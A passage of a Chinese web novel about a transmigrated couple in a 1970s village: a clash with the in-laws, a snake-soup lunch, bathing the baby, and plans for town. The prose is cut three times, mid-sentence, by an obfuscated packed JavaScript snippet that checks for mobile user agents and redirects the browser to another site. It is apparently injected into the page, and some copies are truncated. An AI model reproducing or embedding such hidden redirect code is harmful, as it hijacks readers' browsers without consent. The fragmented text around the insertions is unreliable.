说着,又看向门口的夏老太和老夏头:“咱家的自留地你们也白占那么久了。给你们一天时间赶紧把地里的东西都扯了,不过……”他话一顿,笑了笑:“要种也行,我们家得要一半的作物。” 老夏头一听,眼珠子都快瞪出来了,正想张口骂人就被大队长瞪了一眼,顿时就哑火了。 沈靳朝门口走去,老夏头和夏老太脸色都一白,忙不迭地转身从人群中挤了出去。 沈靳要出去,围在门口的社员都纷纷给他让了一条道。 沈靳也是出了屋子,才知道好些个人端着个饭碗就来瞧热闹了。 他面上没什么表情,从年轻妇女手中接回了夏禾,说了声“谢谢。” 沈靳的一声“谢谢”,愣是把人都给谢傻了。 其他人都觉得夏老四怪怪的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278803|166736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 今天的夏老四虽然还是一样疯,但却给人一种平静发疯的感觉。 不过还真别说,今天这一出可比电影好看多了。 夏老四走了,夏老太转头就向大队长哭诉:“这日子我没法过了,瞧瞧那个混子今天都动刀了!大队长你要是再不叫公安来把他这个祸害给抓了,下回他就真砍人了呀!” 大队长听到这话就憋火,怒道:“也不瞧瞧是谁先惹事的,要抓也是先把你家儿媳妇给抓了!以后你那大孙子就是有个劳改犯的娘了!” 夏老太哭声一顿:“那、那不行,只抓老四不行吗?” 大队长冷笑:“夏老四说得没错,有你这样的娘也倒霉。” 老夏头躲在一边小声嘀咕:“可老四以前也做了不少混事,也没见大队长你叫公安。” 大队长怒而把刀往地上一扔,气红了脸继续怼道:“抓什么抓,还以为那公安局是你们开的呀!夏老四这回是打人了?还是偷了抢了?” “他的玉米面是跟你们换的,多一点是赔偿。五块钱是营养费,门的损坏也是赔了的!你们说他拿刀,可他一句都没说要砍人,万一人说是拿菜刀逛了一圈院子,你们又咋说?!” 说到最后,夏老太老夏头,还有王春芳都成了个鹌鹑,不敢顶嘴。 大队长往外走,见门又被堵上了,大声吼道:“看什么看,下午都不用上工了是不是!还想不想要工分了?!想不想要粮了!?” 这话一出,瞧热闹的人顿时都如鸟兽散。 大队长也走了。 带着一身火气匆匆地来,又带着一身火气匆匆的走了。 * 苏窈担心沈靳一走,就会有人来家里,所以暂时躲在屋中没出去。 她把窗关了,只留了一条窗缝好方便看探察外头的动静。 听到声响,她走到窗后头往外一看,原来是提着篮子,哭红眼的夏苗。 夏苗关了门,就哒哒哒地跑向屋子,边跑边哭。 夏苗一推开房门就看到坐在床边的娘,她手里一滑,篮子摔到了地上,一声“娘”就猛地扑了过去。 苏窈忙蹲下抱住了她。 对于装晕而吓到了小苗丫,苏窈心里有些过意不去。 怀里的小苗丫哭得上气不接下气,苏窈轻轻抚她的后背,说:“娘没事,你爹送娘回来,娘就醒了。” 夏苗哭得抽抽噎噎的说:“二婶坏。” 苏窈顺着她的话应:“对对对,二婶就是坏,以后娘和苗丫见着她就绕道,省得她乱咬人。” 夏苗吸了吸鼻子,问:“二婶还会咬人?” 苏窈仔细想了想:“应该会吧。” 她看夏二嫂的疯疯癫癫的模样,感觉还真是会。 夏苗顿了一下,小声道:“苗丫要快长大,不让二婶欺负娘。” 苏窈心中感慨,李春华把闺女教得很好。 她笑了笑,说:“好,那你可要赶紧长大了。” 安抚了一会,她才问:“弟弟呢?” 夏苗应:“爹带走了。” 沈靳带着,苏窈也就放心了,把夏苗抱了起来:“和娘去看看肉汤熬好了没有。” 夏苗趴在娘的肩头,声音带着哭腔,软软地“嗯”了一声。 苏窈拿了装盐的包纸,抱着夏苗就出了屋子,把院门拴上后才去厨房。 灶眼里头的火刚灭没多久,她一揭开锅盖就是一阵飘着淡淡肉汤味的白雾。 雾气散了,锅里透亮的灿黄色的肉汤还在翻滚着。 苏窈心里没那么馋,可这身体太久没吃肉了,还是本能地咽了咽口水。 稍稍克制了一下,她瞄到灶台上有洗好的白花菜,不用想也知道是要放肉汤里的。 她拿了一小把白菜花放进去,让余温慢慢地把这野菜烫熟。 她开了盐罐子,还是浅浅的一层底,显然汤还没放盐。 她舀了点进盐罐子,晃了几下就全倒锅里。 苏窈为了哄夏苗,问:“苗丫要不要先喝点肉汤?” 刚哭得厉害的夏苗也紧紧盯着锅里的肉汤,嘴角都有口水流了出来,可却非常的克制,说:“等爹回来,一起吃。” 苏窈眉一抬,甚是讶异。 这小姑娘对夏老四这个爹爱答不理的,这才还没一整天呢,怎就这么在意了? 12. 第十二章 沈靳怎么收服夏苗的,苏窈不知道,只知汤熬好了,灶眼里连一丁点的火星都没了,沈靳还没回来。 苏窈和夏苗,一大一小就坐在房门前托着腮望着院门。 大概过了半个多小时,门口终于有了动静。 苏窈腰背一直,眼神多了丝警惕,直到外头传来沈靳说“是我。”,她才放松,起身去开门。 开了院门,见沈靳一手抱着夏禾,一手端着满满一整碗的玉米面,她很难不惊讶。 看到这碗玉米面,苏窈就知道她没看错,沈靳是个不会吃亏的人 她伸手去接面,沈靳说:“先抱孩子,我头有些晕。” 苏窈闻言,忙接过孩子,还瞅了眼他的额头,惊道:“纱布都溢血了,头不晕才怪。” 她单手抱着夏禾,也接过了玉米面,催促:“快进屋子躺着,老夏家的事一会再说。” 沈靳出了老夏家后,就感觉到头晕目眩,视野都有些模糊。 夏苗也跑了过来,朝着苏窈伸手:“拿。” 苏窈知道她的意思,把玉米面递给夏苗端着,她则紧跟在沈靳身后侧,以防他晕倒的时候能扶他一把。 沈靳看到她紧跟自己,说:“还不至于晕倒。” 苏窈:“你别说话,还是先回屋吧。” 沈靳进屋就坐到了床上,苏窈也把夏禾放了下来。 苏窈凑近仔细查看他的额头。 沈靳闭上了眼,忽然感觉眼前有阴影落下,他一睁开眼,就看到了近在咫尺的苏窈。 沈靳端详起苏窈现在的样貌。 面颊和眼窝都瘦得快脱相了,也看不出和上辈子的样子像不像,反倒是那双眼睛的眼神,很像。 清亮而有神,充满了年轻人的生机勃勃。 苏窈:“还好,渗血不是很严重,吃了午饭后再去卫生所重新包扎。” “肯定是今天劳作过多,又去老夏家闹了闹,这伤口才会裂开。” 沈靳头晕,也就没应她。 苏窈:“你先歇会,我再去弄几个饼做主食。” 蛇汤里头也就几块肉,顶不了饿。今天白得了半碗玉米面,她说什么都吃个饱腹! 苏窈让夏苗在屋里,她则去厨房。 灶台上刚回来时拌的马齿苋,过了一个小时,都已经开始发黑了,甚至还带着若有若无的臭青味。 现在有了一点粮,苏窈也不想浪费。她夹了一筷子尝了一下,忙吐了出来。 没半点味道,还苦涩得厉害。 要是沈靳没逮到那条蛇,午饭就是得吃这个了。 苏窈把马齿苋倒了,洗了碗,把蛇汤分进三个碗中。 蛇是沈靳抓的,自然他占大头,她往沈靳的碗里多放了两块肉,她和夏苗各两块。 分了汤,苏窈又重新生了火,往锅里添水后转身出了厨房,到小菜园摘了两条豆角回来。 水很快就沸腾了。 她盛了些热水进碗里一会揉面备用,再把豆角掰成几段放到锅煮。 豆角是一定要煮熟,不然容易拉肚子。 一想到外头的旱厕,苏窈不禁打了个哆嗦,还是得再煮久一点才稳妥! 直到豆角变色了,她才捞起来切碎放进有热水的碗里,又适量地放了盐。 没有多余的容器,直接就把小半玉米面拨到热水碗中。 苏窈用筷子搅拌,不够黏稠就往里再加一小把玉米面。等黏稠度刚好,她才上手揉面。 揉了面,就等放凉了。 面凉了,弄成碗底大小的面饼子。 锅底有沸腾的水,锅壁也是热的,饼子直接往锅壁一贴,就粘在了上头。 苏窈一共贴了十三个饼,每个碗底大小,看着也粗糙,可却有股淡淡的玉米香味飘了出来。 装到了碗中,端着回屋。 进了屋,就见夏苗坐在小板凳上看着她爹发呆,而沈靳则靠着墙闭眼缓,夏禾则又在睡觉。 苏窈把碗放到了高板凳上,又去而复返地把剩下两碗汤给端了过来,喊:“吃饭了。” 沈靳睁开了眼,似乎头晕的症状已经有所缓和了,他“嗯”了一声,起身走到夏苗旁坐了下来。 他低头看了眼吃的,玉米饼子黄澄澄的,一点也没有焦。 家里没有半点油,也难为她能把饼子贴得这么好。 苏窈和夏苗说:“饼子还热,先慢慢喝点汤。” 夏苗点了头,端起汤小小尝了一口,顿时眼睛都亮了,她看向母亲:“娘,好喝!” 苏窈对她笑了笑:“慢点喝。” 她收回目光,就发现沈靳盯着她看,她嘴巴动了动,无声地问:干啥? 沈靳摇了摇头,也端起汤来喝。 他想,他念书那会怎就没遇上这样温柔而有责任心的老师? 苏窈觉得莫名其妙,不过也没太在意,低头看向自己的汤碗,默了片刻。 身体馋,心里还是怕怕的。 她还是先拿了饼,有点烫手,她就两个手左右交换,吹了好一会才咬一口。 玉米面是农家自家磨的,口感粗糙,嚼了一会,口腔中还有淡淡的玉米清香。 多吃了几口,竟然觉得还不错。 苏窈连着吃了三个饼后,腹中终于有了一点点的饱腹感,这是几天来都没有过的,她忽然有些想哭。 能吃饱的感觉,太幸福了。 她收回了幸福的情绪,看向蛇汤,心理暗示自己这东西就是普通的肉,而且还非常补。 沈靳余光暼了眼苏窈。 还真是想喝汤又不敢喝。 苏窈心理建设做得差不多了,端起碗慢慢地放到嘴边,五官颇为扭曲地深吸了一口气后,才小小地抿了一口。 蛇汤入喉,想象中的腥味没有,反倒是带着清甜的香味,竟意外的好喝。 她抬眼看向沈靳,对上了视线,见他似笑非笑地盯着她,带着丝丝调侃。 苏窈没好气道:“头不晕了?” 竟还有心情调侃她。 沈靳应:“晕。” 他在吃了上头的野菜,看到底下多出的蛇肉后,他复又抬眼看了眼苏窈。 不知道想到了什么,唇角的笑意深了些。 “一家三口”安安静静地吃着午饭。对于夏苗来说,这一顿饭是她从懂事起,吃过最好吃的午饭了。 肉汤和饼子都好好吃。 苏窈喝完了汤,再看碗里被剥了皮的两块蛇肉也没那么抗拒了。 毕竟她这身体已经是强弩之末了,不吃点好的补一补,估计连三十都熬不到。 忍着心里那么一点膈应,直接把蛇肉放进了口中。 蛇肉滑腻有劲道,口感弹牙,还很鲜。 虽然好吃,但还是有种头皮发麻的感觉。 沈靳放下碗,拿了个饼,适时提醒:“长久饥饿,一下吃太饱会肠胃不适,吃个六七分饱就好了。” 苏窈吃饱了,全身都暖洋洋的,精神气好像都好了很多。她听到沈靳的话,也想了起来,忙提醒夏苗说:“吃两个饼子就好,不能多吃,会吃撑的。” 夏苗点了点头,就着汤小口小口地吃着饼子。 等夏苗吃完,还剩下三个饼子,她眼巴巴地看着。 苏窈:“真不能吃了,晚上还有呢,不怕没吃的。” 夏苗一双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而他所见到的,更多的是各种自私自利的人性。 * 两人出了门,并肩走了一段路,苏窈忽然问:“没伤着人吧?” 沈靳回神:“我有分寸,不会伤人。” 苏窈:“那就好。”顿了顿,她又问:“刚你喝汤的时候,笑什么?” 沈靳没想到她还留心到了,也不隐瞒,说:“也没笑什么,只是看到菜下盖着的几块肉,就想起以前家里穷,吃饭的时候,外婆总会在我的饭下盖了几片肉。” 苏窈:“老人家还真爱你。” 沈靳神色种多了几分怀念,笑道:“是很爱。” 他们说着话,遇上生产队的人,苏窈立马扶着额头,走路都有些轻微摇晃,好像随时都有晕倒的可能。 沈靳:…… 演得还挺像一回事的。 等走远了,沈靳才提起老夏家的事:“推你的那个好像叫向阳媳妇的,答应替你上工一个月了。还有自留地,明天我和你去地里看一眼,有菜就直接拔回来。” 苏窈一听,乐了。 她今天做得最正确的事情,就是装晕给了沈靳发挥的机会。 这不,粮添了一半,还白挣了五块钱,更有人替她上工,就是自留地的事都给解决了。 一举多得。 这事办得效率真快,不愧是沈总。 13. 第十三章 去了卫生所,下乡九年的知青周护士,全程黑脸给名声极差的二流子换药。 换了药后,语气不是很好,说:“加上昨天的三毛和今天两毛,还有先前你媳妇晕倒送来吊的盐水八毛,一共是一块三毛。” 苏窈清楚夏老四的名声,人知青护士黑脸也是疾恶如仇,这点她还真没法维护沈靳,也就当做没看见,默默地低头扮演性子内向的小媳妇。 沈靳说从兜里掏出了刚到手的钱,数了一块三毛出来,放到了桌面上。 苏窈开口:“我也想瞧瞧我身体有没有什么毛病。” 护士看了眼她,想都不想就说:“你这样的还能有啥毛病?还不是给饿的给累的!” “一个人拉扯两个孩子,能不累吗?” “再说现在都提倡妇女生完孩子要坐月子,生产队的妇女就是不听,但好歹是歇了七天才下地。可你倒好,三天就下地干活了,身体能不垮吗?” 苏窈以为是在训她,但她一抬眼,才发现冷脸的周护士是盯着沈靳说的。 她虽然没跟着老夏家,但能让老夏家答应这么多的条件,也知道沈靳是耀武扬威去了。这还没隔一个小时呢,就从训人的变成了被训的。 沈靳摸了摸鼻子,把脸转到了一边。 从卫生所出来,苏窈说:“夏老四的坏名声是十里八乡是出了名的,你要想摘掉恶汉的名声,恐怕很难。” 沈靳反应平平:“我无所谓,这恶汉的名声还挺好,起码能震慑一部分人。” 苏窈:“比如,老夏家的人。” 沈靳:“他们也是其中之一。” 苏窈想起了夏老四这个人,一拍脑袋:“我怎就忘了夏老四得罪过很多人,还是需要这恶名声镇压的。” 沈靳:“慢慢来吧,以后也不会一直生活在这村子里,换了地方,谁还会记得夏老四是谁。” 苏窈赞同沈靳的说法。 就算现在得名声臭,过个一二十年,挣了钱回乡修路,别人还不是会竖起大拇指说他是个好人。 沈靳看得开,苏窈也没继续在意这事。 十分钟左右,他们就回到了家。 看到满院子的茅草,苏窈问他:“先歇个两天,明天去一趟镇上,后天再开工,你看怎么样?” 沈靳应:“听你的。” 应声后,他转身出屋子。 苏窈问:“你去哪?” 沈靳开了门:“我去厕所。” 苏窈目送沈靳的背影,轻摇了摇头。 希望沈靳厕所能上得顺利。 她给俩孩子扇了一会凉后,她也出了屋子,挑着两个木桶正准备开门去打水。 沈靳现在这情况,她都怕他打水的时候,头一晕,整个人都栽到河里去了。 还是让他先歇两天吧。 苏窈到了河边,才发现树底下已经有洗衣服的人了,两个年轻媳妇和一个十来岁的小姑娘。 苏窈顿时后悔这个时候出门了。 先前都没有遇上,怎就现在遇上了?! 几个人看见她,再看她肩上挑的担子,都很惊讶。 其中一个年轻的小媳妇震惊道:“春华嫂子,你这刚醒,夏老四就让你来挑水?!” 这就有点冤枉沈靳了。 苏窈解释:“他昨天才被抬回来,比我还严重些。” 小媳妇瞪大双眼,说:“瞧他今日在老宅那凶悍的劲,可一点都不严重,可别是不想干活,故意装模作样来骗你的。” 苏窈笑了笑,说:“不会的,我家男人虽然混了点,但不会做这种事的。” 听着这话的三人,都露出了不信的表情。 苏窈又好奇的问:“今天我男人去了老宅,都发生啥事?” “怎的,夏老四没和你说?”在看到对方摇头后,她就激动说:“拿了把菜刀砍了你公婆家的粮柜,更是一脚踹开了你家二嫂屋子的门,那老宅中的人都吓得跟鹌鹑似的,没一个敢吱声的。” 另一个小媳妇接道:“那疯劲,你说他能去砍死一头牛我都信,怎么可能不舒服。” 苏窈听得一愣一愣的,沈靳的行为,倒像是夏老四才能做出来的事。 难怪老夏家什么事情都答应了,感情是被拿刀相向了。 苏窈的感慨只有四个字——沈总厉害。 苏窈挑水回到家中时,沈靳已经回来了,他就坐在院子里,眼神空洞地看着前方。 苏窈很理解,她第一回上了旱厕之后,也是这么一副生无可恋的表情。 每一回去上厕所,对于她来说都非常煎熬,这厕所还是得赶紧建起来。 只是这夯土有点复杂,她不会弄。沈靳不知道会不会,就算是会,也有一两个人来搭把手。 现在正是农忙的时候,连半大的孩子都下地插秧去,肯定是没人帮忙的。在原主的记忆中,往年这个时候还要再忙上差不多十天。 也就是还得等十天左右,才能把搭厕所排上日程。 苏窈也就暂时收了心思,把两桶七分满的水放在太阳底下晒。 她看了眼地上的茅草,编茅草还得有竹子,屋子后头的山坡就有竹子可以砍。可一会就上工了,人一多,人人都围上来问东问西的,烦得很。 算了,还是晚点再出去砍吧。 苏窈打了个哈欠。 今天起得早,还干了一上午的活,又累又困。 她和沈靳打了声招呼:“我回去睡一会。” 苏窈回了屋,两个孩子热得头发都被汗湿了,她躺了下来,拿起蒲扇打风。 不用什么力气,扇子轻晃着,凉快的范围也还是很大的, 扇了一会,姐弟俩的汗才没那么多了。 苏窈也不知道什么时候睡过去的,等醒来时,两孩子都不在身边了。 她热得出了一身汗,抹了抹,顺手就拿扇子扇了一会才起身。 她舒展着手臂走出了屋子,看到院子里西移的日头,才知道已经不早了。 也是奇了,前几天她都能听到早中上工的声音,今天竟没听到。 而且,夏禾平时两个多小时就开始闹喝奶了,现在竟然这么久都没闹。 环顾了院子一圈,再看了厨房也没人。 沈靳把这俩孩子都带哪去了? 苏窈推开院门,就在家门前四处张望了一圈,在榕树根下看到有人影。 她眯眼定睛看了好一会,确定了就是沈靳的身影。 这个点,榕树根底下都比屋里凉快。 苏窈见沈靳带着孩子纳凉,她转身回了院子,拿了把柴刀就出了门,到屋子后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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把背篓给沈靳背上了,苏窈道:“我想明天去一趟镇上,看能不能买点肉回来弄点油。” 这猪肉都是供不应求的,早早去才能买到肥一点的地方。 但这个时代还没普及路灯,还有山坡,太早出门也危险,沈靳想了想,说:“那我和你一块去。” 想了想,又问:“那俩孩子带去吗?” 苏窈:“带着吧。” 这和他们刚去卫生所不同,这去镇上是要走着去的,来回走路就要一个半小时,还要在镇上逗留一会,怎么说都得两个小时。 这一个还没到五岁,一个又快要到翻身的时候了,还是带着吧。 回了家,苏窈就让沈靳去把竹子砍成三段,再破开成一条条竹条,而这些竹条都是用来串茅草的。 苏窈则开始处理竹笋,四颗竹笋她只留一颗用来做酸笋。 这里离后山坡近,时不时去溜达一圈,总还能捡捡漏,到时候再留着自家吃也行。 剩下的三颗她打算用来换钱,能挣一毛是一毛。 14. 第十四章 苏窈把竹笋剥干净,切成片放在水里浸泡一晚去除苦味。 今晚有玉米饼子和肉,就不吃这个了。 晚上大队长家里还送米送面过来,还有四斤粮票。这些粮完全可以撑半个月了,比起刚来时一粒米都没有的处境好太多了。 苏窈想到这,心情顿时清朗了,脸上也带着笑,干活都更有劲了。 看了眼日头,估摸着都四点了,她烧了水给夏禾洗澡。 水温刚好,她才把夏禾抱了出来。 学着以前看过给小孩洗澡的姿势,把夏禾放在腿上,手夹着他的身子来固定,再拿布巾沾水给他洗头。 夏禾好几天没洗头了,她抱起来仔细闻的时候,险些干呕。不是臭,而是有股酸馊的味道。 她就是不敢洗也得洗了。 看来无痛当妈也不是那么好当的。 沈靳还在劈着竹条,往她那边看了眼。看到她僵硬着身体给夏禾洗头,就问:“要帮忙吗?” 苏窈手僵着,视线也不敢挪开,忙应:“要要要!” 夏禾个头太小,她怎么可能不怕。 沈靳放下工具,洗了手就走过来:“我抱着你来洗。” 苏窈放下布巾,小心翼翼地把夏禾递给他。 沈靳抱上光溜溜的夏禾,才发现和穿着衣服抱的时候是完全不一样。 手贴着夏禾的皮肤,几乎摸到的都是骨头,他感觉到了小家伙的脆弱。 而且滑腻腻的,总觉得抱不紧,手臂也跟着僵硬了。 苏窈看着沈靳绷紧的手臂,自己也是半斤八两,也就没敢取笑他。 两个人都是小心谨慎地对待这个脆弱的小家伙。 苏窈:“你蹲下来,把他的头再放低一点。” 沈靳按照她的指示慢慢地蹲下来。 夏禾这两顿奶喝得饱,瞧着都精神了好多,不再蔫了吧唧的,一双大眼睛圆碌碌地在爹娘的身上转动着。 和两个大人紧绷的身体不同,他很松弛,似乎一点都不害怕。 给夏禾洗了头,苏窈:“你再把他放到盆里,我给他仔细搓一搓。” 昨天洗得随便,总感觉没洗干净。 沈靳慢慢地把小家伙放进木盆里,他顿时“咯咯咯”地笑出了声。 夏苗在一旁瞪圆了双眼,惊讶道:“弟弟笑了。” 苏窈看到小家伙一笑,也愣了,带了这个小家伙四天,还没见他笑过呢。 不由也跟着笑了,点了点他的小鼻子,声音温柔:“就这么喜欢玩水呀?” 沈靳看了她一眼,一眼后又收了目光。 隐约感觉他们这样,还挺像一家四口的。 再说现在有两个人一块给孩子洗澡,但彼此还是很紧张。 这个澡,洗了将近半个小时,两个人都给洗出了一身汗。 沈靳觉得给孩子洗澡,比干活还累。 苏窈抱着夏禾进了屋,给他擦身体,拿来今天晾干衣服给他穿上。 和夏苗的衣服不同,夏禾的衣服很明显是大人衣服改的小衣服,不仅都是补丁,还很粗糙。 也不知道这衣服穿过多少个人了。 苏窈想起了那三尺布票。 做长衣长衫肯定是不够的,但还是可以做小褂子和小短裤。 她还想着做内衣内裤的,但想了想,还有个沈靳呢,这点布都不够用的。 才穿上衣服,小家伙估计洗澡费体力,饿了,瘪着嘴哼唧了几声,要哭不哭的,委屈的很。 苏窈也是听别人说的,小孩子刚洗完还不能喂奶,最快也得二十分钟后才能喂。 苏窈摸了摸他的小肚肚,说:“别哭,一会再喂你。” 她喊夏苗先进来陪弟弟玩一会,出去就先把小衣服给洗了。 夏禾有三套换洗的衣服,但架不住有时候他尿到外头的衣服。三套衣服都不够换的,有时衣服不干都是直接裹尿布。 一出来,沈靳不在院子里了。环视了一圈,发现水桶和担子都不见了,他去哪了也就显而易见。 他都这样了还停不下来,这么勤快,他不发家谁发家。 沈靳不一会后就挑了两桶九分满的水回来。 刚好下工,他也就没去第二回。 两桶水和缸里的小半缸水,也够今天用的了。 苏窈过了一会就喂了夏禾,小家伙吃着吃着就睡了。 她出来时,沈靳把竹子劈好后,就开始研究怎么把茅草缠上去了。 说着过两天弄,他今天就已经弄起来了。 不过夏老四懒,记忆里估计也没个章程,他现在应该也是无从下手。 苏窈琢磨了一下,走了过去,依着记忆拿了一小捆茅草就开始绑到竹条上,说:“应该是这样编的吧。” 她也手生,但编了几股之后,也慢慢上手了,只是这手开始染上青黄发黑的颜色。 沈靳也注意到了那一双手上有很多裂口和茧子,不符合李春华这个年纪该有的,更不符合苏窈该有的。 他叫了停,说:“我会了,你去做饭吧。” 苏窈:“那不会再喊我。” 她转身去洗了手,发现没个洗手的东西,就只用清水很难洗干净。 记得票里有一张肥皂票,明天一定要去换一块回来。 苏窈几乎都把票给安排好了。 进了厨房,苏窈也开始忙活了起来。 她看见沈靳放在篮子里头的肉,晓得也放不了多久了,这么热的天,再放一宿就该坏了。 但没油,不然全部煎熟,也能放到明天了。 但这里还有七八两左右,全吃了就有点奢侈了。 想了想,还是全熬了汤。等半夜夏禾吃夜奶的时候,再把剩下的汤炖沸腾,这样就能放到明天了。 目光看向蛇肉,苏窈虽然还是有些毛毛然,可吃都吃过了,还是敢下锅了的。 先烧几碗热水放置一旁,再重复中午的活,烫熟豆角捞起来,再烧干锅里的水,用筷子把剩下的蛇肉都简单地煎一下。 没油,很容易就粘锅,所以就着火星子热锅慢慢地煎至两面焦黄后,她才把热水倒了进去,同时也扔了两个灯笼椒进去去腥。 以前她做鱼汤的时候,先煎过,再放热水煮,汤是奶白色的。她琢磨着这蛇肉也是差不多的。 她还留了点热水揉面。揉好了面,汤还得再炖一会,也不急着贴饼子,就顺道喊夏苗去洗澡。 夏苗内向得很,来的这几天就没见她出去玩过,这会正蹲在檐下新奇地看着她爹干活。 听到娘的叫声,小姑娘才起身过来。 小姑娘洗完,刚好可以把饼子贴上。 日头已经到山那头了,院子也完全阴了下来,有凉风吹过,散去了些许燥热,比屋子里头还凉快,索性也就在屋子外头吃晚饭了。 沈靳洗了手,把几张凳子搬了出来。 就着凉风,又吃了顿饱饭。 夏苗吃饱后,嘴角都是往上翘着的,可想而知今天这两顿饭,让她有多幸福。 沈靳则趁着天没黑,继续干活,苏窈去瞧了眼,好家伙这都快有半个多小时了吧,连一根竹条都没绑完。 沈靳却说:“你还是去歇着吧。”说着看了她一眼:“现在瘦得大风一刮,都能把你刮走。” 苏窈:“你干活,我歇着,有些不好意思。” 沈靳:“不用。” 见他这样,苏窈也就没坚持。 歇了一会,她在院子里洗了头,然后才进去洗澡。 擦着头发从厨房出来,念道:“还是得弄个洗澡的地方,不然柴火很容易湿。” 听她这一么说,沈靳也想起了今天去的旱厕,那气味和那个环境,让人难以接受。 厕所必须及早弄。 苏窈看向沈靳,说:“热水我都用完了,我给你再烧一点。” 沈靳用手臂抹了抹额头的汗:“不用了,我一会洗冷水就好。” “那行。”想了想,他那么大的个子,在小厨房里头洗,估计也就只能简单地擦一擦,憋屈得很。 苏窈犹豫了一会,她说:“要不你就在院子里头洗吧,我带夏禾夏苗出去走一走。” 两人目光对上,都有点尴尬。 沈靳也想到了窄小的厨房,应了声:“行。” 不一会,苏窈抱上了夏禾,拿了把扇子就带着夏苗出了院子。 沈靳见人走了,才卡上门闩,在院子里从头到脚冲洗一遍,水也给他用完了。 他洗完澡,抹了一把脸上的水珠,继而挑了担子出去。 出了门就见苏窈带着两个孩子就坐在河岸边上。 苏窈用扇子挥着蚊子,直至沈靳来打水才看到人。 等沈靳打了水,几个人也就一块回去了,苏窈说:“这个时间点蚊子真多,一会回去后在屋子里头熏些艾草。” 沈靳看见她也空出手挠脖子,就说:“等过几天我再问问大队长,出点工钱,看看有没有人帮忙建个厕所。” 苏窈:“我也这么想的,但要建的,还是得等到农忙过去,这个时候没人有空。” 沈靳应了一声,随之又道:“等修好屋顶,我也去上工,好像还有差不多一个月才分粮,对吧?” 苏窈点了头:“之前挺着个大肚子,大队长也就安排轻松的活,都没几个工分,就是这个月王春芳帮上工一个月,但能分到手的粮不是很多。” 沈靳闻言,思索了一下,说:“那等过两三天修好屋顶,我也去上工。” 现在这时代被大环境限制,生意是暂时做不了了,那就先把肚子给填饱了。 苏窈对于他提出上工,也不意外。 “我这有人替上工了,也不知道我再去上工能不能再加点工分。” 沈靳有些不太赞同:“今天卫生所的护士不是说你得休养吗,正好借着有人给你上工,你就歇一会。” 说到这,又补充:“这样才能活得久一点,或许到将来,还能看到你所想见到的人。” 他的话,让苏窈一愣,随之沉默。 她想见的人,其实有很多。 眼眶微微泛红的时候,耳边传来沈靳带着歉意的声音:“抱歉,我不该说这些的。” 苏窈正想说没关系,夏苗忽然问:“娘想见谁?” 苏窈伤感的情绪一丢,脑子转得可快了,笑着道:“当然是去北京看毛主席了。” 夏苗眼睛一亮:“苗丫也想去!” 苏窈:“那到时候就带上苗丫一块去。” 说着,她抬头看了眼沈靳,微微摇了摇头。 夏苗虽然还小,但比很多小朋友都要早熟一点。现在就是听不明白的话,说不准以后记着再翻出来仔细琢磨,就会琢磨出不对劲的地方来。 他们的身份实在太诡异了,要是泄露出去,谁知道会不会被拉去切片来研究。 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沈靳坐在一旁,看着在昏暗油灯下数钱的苏窈。 夏禾还没睡,就躺在一旁抬手乱动。而夏苗也趴在床头,兴致勃勃地看着苏窈数钱。不知怎的,这才相处两天,他竟然就有种他和苏窈是两口子的荒谬感。 沈靳摇了摇头,把这想法抛出脑海的时候,苏窈正好抬头看向他。 她愣了一下,问:“还有蚊子?” 沈靳应:“还有一只蚊子。” 苏窈:“那可能从外头飞进来的。”说着半起身伸手把窗户关小了一点,然后和他说:“粮票和肉票都是有时间限制的,得赶紧用了,还有布票和肥皂票,我打算明天都给用了,行吗?” 他把钱和票放到她这里,她也不能就真的什么都是自己拿主意,毕竟以后还得搭伙过日子,还是要商量的。 沈靳对这点东西不怎么在意,应:“都是需要用到的,换吧。” 点了十分钟左右的灯,苏窈说:“没多少火油了,我就先把灯灭了。” 说着,吹熄了灯,睡在两个孩子的中间,几乎给沈靳留了一半的床。 沈靳估计没睡意,熄了灯就出了屋子。 苏窈摇着扇子把两个孩子都哄睡了,她也就拿着灯出了屋子。 外头也很暗,但还是能看见沈靳坐在屋檐下的剪影。她在旁边坐了下来,把扇子递给他:“我不是很热,你用吧。” 沈靳接过扇子,朝着她的方向扇风,让她也能凉快到了。 两人安静好一会,沈靳才低声说:“我觉着过段时间县里那投机倒把的风头过去了,我还是得去县里的黑市。” 苏窈一愣:“为什么?” 沈靳:“缺太多东西了,又没票,我去看看能有什么可以用钱的换的,先换一点回来用,你觉得呢?” 听他说是去换东西,而不是继续干看哨的活,更不是做长期买卖,她也就应:“去的时候小心点。” 沈靳“嗯”了一声,这时院门有人敲门,苏窈道:“肯定是大队长家的送粮来了。” 她点了灯,沈靳拿过:“天太黑了,还是我去开门。” 他提着灯去开了门,看到门外的人,喊了声:“大队长,婶子。” 夏大队长冷哼了一声:“以前见着都套近乎喊叔,咋的?知道今天做错事了,就喊大队长了?” 听到大队长的声音,苏窈也走了过去。 大队长是和玉兰婶子一块来的。 苏窈想,应该是中午发生的事,所以才是他们夫妻俩来。 玉兰婶子看到她,带着关心询问:“苗丫娘,身体怎么样了?头还晕不晕?” 苏窈忙应:“下午去了趟卫生所,没啥事了。” 说着,又请道:“先进来说话。” 两人进来了,玉兰婶子就从怀里把那几斤粮拿了出来,说:“怕被人看见,只能这样拿过来了。” 说着递给苏窈。 